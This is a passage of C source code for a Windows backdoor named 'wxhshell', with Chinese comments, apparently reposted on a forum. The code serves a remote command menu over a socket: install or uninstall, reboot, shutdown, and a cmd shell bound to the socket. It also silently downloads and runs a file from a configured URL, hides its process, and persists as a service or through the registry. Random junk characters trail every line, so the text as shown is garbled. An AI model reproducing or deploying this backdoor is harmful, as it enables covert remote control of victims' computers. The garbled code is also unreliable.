      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rOs)B21/  
    break; 8:;u v7p  
  } !~6'@UYo  
  // 安装 T2c_vY   
  case 'i': { V2WUM+`uT  
    if(Install()) 6$xo# }8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'XC&BWJ  
    else BaNU}@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UXcH";*9b  
    break; wz*)L (pP  
    } @vVRF Z  
  // 卸载 o3kt0NuF,  
  case 'r': { *y":@T  
    if(Uninstall()) \@iOnRuHn9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X^?|Sz<^E  
    else t-?KKU8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ogkz(wZ  
    break; D}k-2RM2k  
    } 1{;[q3a  
  // 显示 wxhshell 所在路径 iA1;k*) q  
  case 'p': { .(gT+5[  
    char svExeFile[MAX_PATH]; hIE%-gZ/  
    strcpy(svExeFile,"\n\r"); |wyJh"4!  
      strcat(svExeFile,ExeFile); UH1S_:6  
        send(wsh,svExeFile,strlen(svExeFile),0); 2l\D~ y  
    break; 4EaS g#  
    } cq@_*:~Or  
  // 重启 R-2FNl  
  case 'b': { 7Y_fF1-wY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JsWq._O{/  
    if(Boot(REBOOT)) _k"&EW{ Ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?-RoqF  
    else { /eU1(oo&`5  
    closesocket(wsh); 6x (L&>F  
    ExitThread(0); jx5[bUp4u  
    } /w}B07.  
    break; ^J*G%*  
    } %Mb( c+7  
  // 关机 ]Lb?#S  
  case 'd': { $jUS[.S_|I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \h'E5LO  
    if(Boot(SHUTDOWN)) ` + n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 67K RM(S  
    else { fa*H cz  
    closesocket(wsh); 08d_DCR  
    ExitThread(0); nDoiG#N0  
    } #<PA- y  
    break; #?b^B~ #  
    } 0F0Q=dZ  
  // 获取shell Wc`J`&#.#  
  case 's': { 7S~9E2N  
    CmdShell(wsh); h3;o!FF  
    closesocket(wsh); 8y 4D9_{  
    ExitThread(0); bsk=9K2_2t  
    break; 0:B^  
  } 9,EaN{GM  
  // 退出 5qtmb4R~  
  case 'x': { kT } '"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R6WgA@Z|r  
    CloseIt(wsh); M_e$l`"G  
    break; afP&+ 5t@O  
    } zcD_}t_K  
  // 离开 ?3"D| cS1  
  case 'q': { fO|~Oz<S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,w b|?>Y  
    closesocket(wsh); @BHS5^|  
    WSACleanup(); rM >V=|9,  
    exit(1); UA!Gr3  
    break; J PzQBc5e  
        } N5rG.6K  
  } ?m_RU  
  } N>nvt.`P  
PVkN3J  
  // 提示信息 /@nRL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6nWx>R<  
} 4{pemqS*  
  } dj'8x48H2W  
7U[L\1zS  
  return; *A1TDc$  
} kW2nrkF  
72`/xryY  
// shell模块句柄 2bn@:71`  
int CmdShell(SOCKET sock) -ynLuq#1A  
{ Rn~Xu)@e  
STARTUPINFO si; c>i*HN}Z|  
ZeroMemory(&si,sizeof(si)); ATmqq)\s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !|:q@|- %@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } @fu~V/  
PROCESS_INFORMATION ProcessInfo; ,nChwEn  
char cmdline[]="cmd"; f~"V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v yLAs;  
  return 0; dK;\`>8  
} ~q T1<k  
,S0~:c:)  
// 自身启动模式 b`W'M :$  
int StartFromService(void) #HuA(``[d  
{ BfE-s<  
typedef struct nk3<]u  
{ 6u, 0y$3  
  DWORD ExitStatus; :6k DUFj}  
  DWORD PebBaseAddress; @oc%4~zl  
  DWORD AffinityMask; rD U6 5j  
  DWORD BasePriority; (F '  
  ULONG UniqueProcessId; hCvLwZ?LF  
  ULONG InheritedFromUniqueProcessId; Y7V&zF{  
}   PROCESS_BASIC_INFORMATION; .nF  
Fx99"3`3  
PROCNTQSIP NtQueryInformationProcess; O9=H [b  
#M^Yh?~%w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;$L!`"jn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |Sv#f2`  
9PGR#!!F$  
  HANDLE             hProcess; / >. X+N  
  PROCESS_BASIC_INFORMATION pbi; IS 9q 5/]  
P5xmLefng  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hr*Pi3dSI  
  if(NULL == hInst ) return 0; MirBJL  
8U:dgXz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $z,DcO.vz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JR<-'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bl>b/u7/6  
"sx&8H"  
  if (!NtQueryInformationProcess) return 0; J$/BH\  
JIKxY$GS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0\ w[_H  
  if(!hProcess) return 0; X|1YGZJ  
^`MDP`M;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sfPN\^k2  
6Oba}`)q9  
  CloseHandle(hProcess); ^QQ NJ  
D=sc41]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "s<l Lgi  
if(hProcess==NULL) return 0; v ]U;5Uo  
7<o;3gR7Kj  
HMODULE hMod; ;OJ0}\*iP8  
char procName[255]; AX RNV  
unsigned long cbNeeded; T`ZJ=gv  
Rs[]i;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p}7&x[fTLk  
E(LE*J  
  CloseHandle(hProcess); }F`2$ Q+CW  
`80Hxp@  
if(strstr(procName,"services")) return 1; // 以服务启动 &E`Z_} ~  
OT3;qT*fw  
  return 0; // 注册表启动 5w{pX1z1  
} ~'.yhPo g  
u`@FA?+E1  
// 主模块 2vQ^519  
int StartWxhshell(LPSTR lpCmdLine) 2B dr#qr  
{ )_K@?rWS  
  SOCKET wsl; K61os&K  
BOOL val=TRUE; K)\gbQ|  
  int port=0; >! .9g  
  struct sockaddr_in door; 9G/2^PI  
AK?j1Pk  
  if(wscfg.ws_autoins) Install(); qDd/wR,44  
VVl-cU  
port=atoi(lpCmdLine); iZ\z!tHR  
a\_,_psK  
if(port<=0) port=wscfg.ws_port; #'h CohL  
T=dvc}  
  WSADATA data; h18y?e7MU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tgA |Vwwk  
!r0P\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rj`Y X0?+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &~f_1<  
  door.sin_family = AF_INET; 9W$)W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j!7Uj]  
  door.sin_port = htons(port); gj X1b2  
S6tH!Z=(g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `_^=OOn  
closesocket(wsl); ]_8 \g`"u  
return 1; x's-UO"^  
} Uk\U*\.  
:q1r2&ne  
  if(listen(wsl,2) == INVALID_SOCKET) { mDf WR  
closesocket(wsl); :XZ pnjj  
return 1; !;Nh7vG  
} Mwc3@  
  Wxhshell(wsl); ?='9YM  
  WSACleanup(); Dx'e+Bm  
.p>8oOp  
return 0; nB& 8=.  
1_lL?S3,a@  
} H]X)@n>  
A,qG*lv  
// 以NT服务方式启动 C ,hsr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  64fG,b  
{ >O~5s.1u  
DWORD   status = 0;  V}qmH2h  
  DWORD   specificError = 0xfffffff; "QS7?=>*F  
E:k?*l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >`'9V| 1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cC.DBYV+-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }DaYO\:yK*  
  serviceStatus.dwWin32ExitCode     = 0; .SN]hLV5  
  serviceStatus.dwServiceSpecificExitCode = 0; O]lfs >>x  
  serviceStatus.dwCheckPoint       = 0; Z]BR Mx  
  serviceStatus.dwWaitHint       = 0; ^dv>n]?  
e AjtWqg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )K~nZLULY  
  if (hServiceStatusHandle==0) return; 'zK*?= ^jk  
mX^RSg9E}  
status = GetLastError(); @jKB!z9{  
  if (status!=NO_ERROR) B!@0(A  
{ <!^Z|E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K#r` ^aUc  
    serviceStatus.dwCheckPoint       = 0; Lt_]3g o  
    serviceStatus.dwWaitHint       = 0; y e'5 A   
    serviceStatus.dwWin32ExitCode     = status; }R$%MU5::  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;rgsPVbVf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sa*-B  
    return; tO7{g  
  } E<dN=#f6  
0 i"OG( ,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dp_q:P4; B  
  serviceStatus.dwCheckPoint       = 0; u:ISwAp  
  serviceStatus.dwWaitHint       = 0; 1 <+^$QL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FhGbQJ?[3  
} > R=YF*t  
?L^ Gu ]y  
// 处理NT服务事件,比如:启动、停止 d yd_dK/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4hIC&W~f  
{ f$|v  
switch(fdwControl) >nX'RE|F  
{ zVu}7v()  
case SERVICE_CONTROL_STOP: P6Ei!t,>  
  serviceStatus.dwWin32ExitCode = 0; P; Ox|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RS~oSoAE  
  serviceStatus.dwCheckPoint   = 0; F <(Y  
  serviceStatus.dwWaitHint     = 0; ^gG,}GTl  
  { ( C&f~U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {`VQL6(i  
  }  UWI5 /R  
  return; w]_a0{Uh  
case SERVICE_CONTROL_PAUSE: pN[i%\vh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2 E^P=jU`  
  break; Yh=Zn[ U  
case SERVICE_CONTROL_CONTINUE: h(BN6ZrzKd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; * 7CI q  
  break; 4y 'REC  
case SERVICE_CONTROL_INTERROGATE: ",a fv{C  
  break; -t]0DsPg  
}; x)*[>d2yd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R##O9BSI8Z  
} 8MIHp[vm%  
EOL03N   
// 标准应用程序主函数 f&:g{K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JmkJ^-A 6  
{ [{YV<kN  
&PbH!]yd  
// 获取操作系统版本 ~1p f ?  
OsIsNt=GetOsVer(); 3jeR;N]x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b~r ?#2K  
wjkN%lPfvj  
  // 从命令行安装 ws=y*7$y  
  if(strpbrk(lpCmdLine,"iI")) Install(); q_!3<.sf  
E)Dik`Ccl  
  // 下载执行文件 |$Td-M^)  
if(wscfg.ws_downexe) { ipsNiFv:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !)GPI?{^5  
  WinExec(wscfg.ws_filenam,SW_HIDE); di"*K*~y  
} E>&dG:3no  
m|!sY[!  
if(!OsIsNt) { _QQO&0Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 *fE5Z;!}  
HideProc(); FkH4|}1  
StartWxhshell(lpCmdLine); }G]]0Oi2  
} h<?Vzl  
else _b+3;Dy  
  if(StartFromService()) m#uutomi0  
  // 以服务方式启动 7JbN WN  
  StartServiceCtrlDispatcher(DispatchTable); Xh ?{%?2  
else o;t{YfK  
  // 普通方式启动 .NjOaK)\  
  StartWxhshell(lpCmdLine); <3i!{"}  
)9}z^+TH  
return 0; {9(N?\S1`a  
}
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只看该作者 1 发表于: 2006-10-10
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